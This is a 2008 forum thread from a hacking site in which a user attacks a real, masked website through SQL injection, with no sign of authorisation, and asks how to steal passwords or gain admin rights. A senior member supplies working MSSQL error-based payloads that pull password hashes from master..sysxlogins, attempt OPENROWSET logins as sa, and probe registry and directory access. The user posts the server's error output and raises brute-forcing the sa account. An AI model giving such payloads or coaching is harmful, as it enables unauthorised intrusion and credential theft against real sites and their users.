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www.waraxe.us Forum Index -> Sql injection -> Need help with SQL injection !
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Need help with SQL injection !
PostPosted: Sat Dec 06, 2008 10:17 pm Reply with quote
xterminal01
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Joined: Dec 07, 2008
Posts: 5




I've been doing SQL injection on a website but am stuck with what to do..
by doing this...
www.XXX.com/Top-Story.asp?ID=convert(int, @@version)
I get

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.818 (Intel X86) May 31 2003 16:08:15 Copyright (c) 1988-2003 Microsoft Corporation Workgroup Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to a column of data type int.

/Top-Story.asp, line 20
So i know that the site is vulnerable.
What can i do to extract the passwords or become the admin group or anything else for that matter?
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PostPosted: Sat Dec 06, 2008 10:25 pm Reply with quote
capt
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Joined: Nov 04, 2008
Posts: 232




you need to read up some more on sql injections.

Go on google look for a tutorial called "Sql injection attack end3r"
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PostPosted: Sat Dec 06, 2008 10:39 pm Reply with quote
xterminal01
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Joined: Dec 07, 2008
Posts: 5




I read the darkmindz sql injection article, but it gives me errors & I am stuck?



capt wrote:
you need to read up some more on sql injections.

Go on google look for a tutorial called "Sql injection attack end3r"
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PostPosted: Sun Dec 07, 2008 12:20 am Reply with quote
waraxe
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




In order to jump to operating system and for other cool stuff you need sa privileges in database. Try this:

Code:

Top-Story.asp?ID=convert(int,(SELECT password FROM master..sysxlogins))


Depending on error message it will be known either you have enough privileges or not.
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PostPosted: Sun Dec 07, 2008 5:11 am Reply with quote
xterminal01
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Joined: Dec 07, 2008
Posts: 5




One is
Microsoft OLE DB Provider for ODBC Drivers error '80040e09'

[Microsoft][ODBC SQL Server Driver][SQL Server]SELECT permission denied on object 'sysxlogins', database 'master', owner 'dbo'.

The other is

Microsoft JET Database Engine error '80004005'

Could not find file 'c:\windows\system32\inetsrv\master'.

I was able to get the master columns sysusers & master_key_passwords
However, i couldn't download the data...
I suppose that means i don't have the rights to download but just browse.
Are my only options to bruteforce the dbo or sa account?


waraxe wrote:
In order to jump to operating system and for other cool stuff you need sa privileges in database. Try this:

Code:

Top-Story.asp?ID=convert(int,(SELECT password FROM master..sysxlogins))


Depending on error message it will be known either you have enough privileges or not.
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PostPosted: Sun Dec 07, 2008 2:25 pm Reply with quote
waraxe
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Fetch all rows in syslogins view and look for any users with useful privileges, especially sysadmins. There can be more of them besides sa! Next try OPENROWSET:

Code:


Top-Story.asp?ID=convert(int,(select * from OPENROWSET('MSDASQL','DRIVER={SQL Server};SERVER=;uid=sa;pwd=password','select @@version')))

Top-Story.asp?ID=convert(int,(select * from OPENROWSET('SQLOLEDB','','sa','password','select @@version')))



This will indicate the possibilities for re-login with other username.
And ... there are things you can do with lower privileges too - reading registry (xp_regread), list directories and harddrives with some other stored procedures.
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PostPosted: Sun Dec 07, 2008 11:24 pm Reply with quote
xterminal01
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Regular user
Joined: Dec 07, 2008
Posts: 5




1st
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Ad hoc access to OLE DB provider 'MSDASQL' has been denied. You must access this provider through a linked server.

2nd

Microsoft OLE DB Provider for SQL Server error '80040e14'

SQL Server blocked access to STATEMENT 'OpenRowset/OpenDatasource' of component 'Ad Hoc Distributed Queries' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'Ad Hoc Distributed Queries' by using sp_configure. For more information about enabling 'Ad Hoc Distributed Queries', see "Surface Area Configuration" in SQL Server Books Online.

With tools like priamos i am able to browse through their whole database, get tables and columns just the data is rejected.





waraxe wrote:
Fetch all rows in syslogins view and look for any users with useful privileges, especially sysadmins. There can be more of them besides sa! Next try OPENROWSET:

Code:


Top-Story.asp?ID=convert(int,(select * from OPENROWSET('MSDASQL','DRIVER={SQL Server};SERVER=;uid=sa;pwd=password','select @@version')))

Top-Story.asp?ID=convert(int,(select * from OPENROWSET('SQLOLEDB','','sa','password','select @@version')))



This will indicate the possibilities for re-login with other username.
And ... there are things you can do with lower privileges too - reading registry (xp_regread), list directories and harddrives with some other stored procedures.
Rolling Eyes
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PostPosted: Sun Dec 07, 2008 11:42 pm Reply with quote
waraxe
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Then i don't see easy way to interact with operating system. Unless you find administration backend or other attack vecors, like vulnerable upload scripts, etc.
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Need help with SQL injection !
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